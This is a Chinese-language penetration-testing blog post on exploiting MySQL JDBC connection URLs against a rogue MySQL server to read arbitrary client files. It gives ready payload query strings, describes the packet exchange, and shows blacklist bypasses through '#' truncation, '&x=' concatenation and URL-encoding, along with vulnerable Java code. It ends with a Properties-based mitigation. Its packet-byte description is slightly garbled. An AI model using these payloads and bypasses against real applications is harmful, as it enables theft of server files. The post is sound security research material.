文章首发于知识星球-赛博回忆录。给主管打个广告,嘿嘿。
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。
完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。
1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。
主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。
com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。
文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似
设置包大小参数
maxAllowedPacket=655360
参考:
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html
通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。
如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。
static String driverName = “com.mysql.cj.jdbc.Drive”;
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter(“jdbcUrl”);
Connection conn = DriverManager.getConnection(jdbcUrl + “&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false”);
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#
8.0.x是可以使用注释符#来注释掉后面的内容。
8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。
完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。
5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。
如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。
public static boolean isValidUrl(String url){
if(url.contains(“allowLoadLocalInfile”)||url.contains(“allowUrlInLocalInfile”)||url.contains(“allowLoadLocalInfileInPath”)){
return false;
}
}
8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。
所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。
5.1.x
仅仅参数值可以被编码。
jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。
所以5版本无法绕过对黑名单机制的检测。
推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。
通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
所以上面报错的信息会显示不支持,是因为字符集没有被定义:
原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。
String driver = “com.mysql.jdbc.Driver”;
String DB_URL = “jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true”;
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty(“allowLoadLocalInfile”,“false”);
properties.setProperty(“allowUrlInLocalInfile”,“false”);
properties.setProperty(“allowLoadLocalInfileInPath”,“”);
Connection conn = DriverManager.getConnection(DB_URL,properties);
https://paper.seebug.org/1112/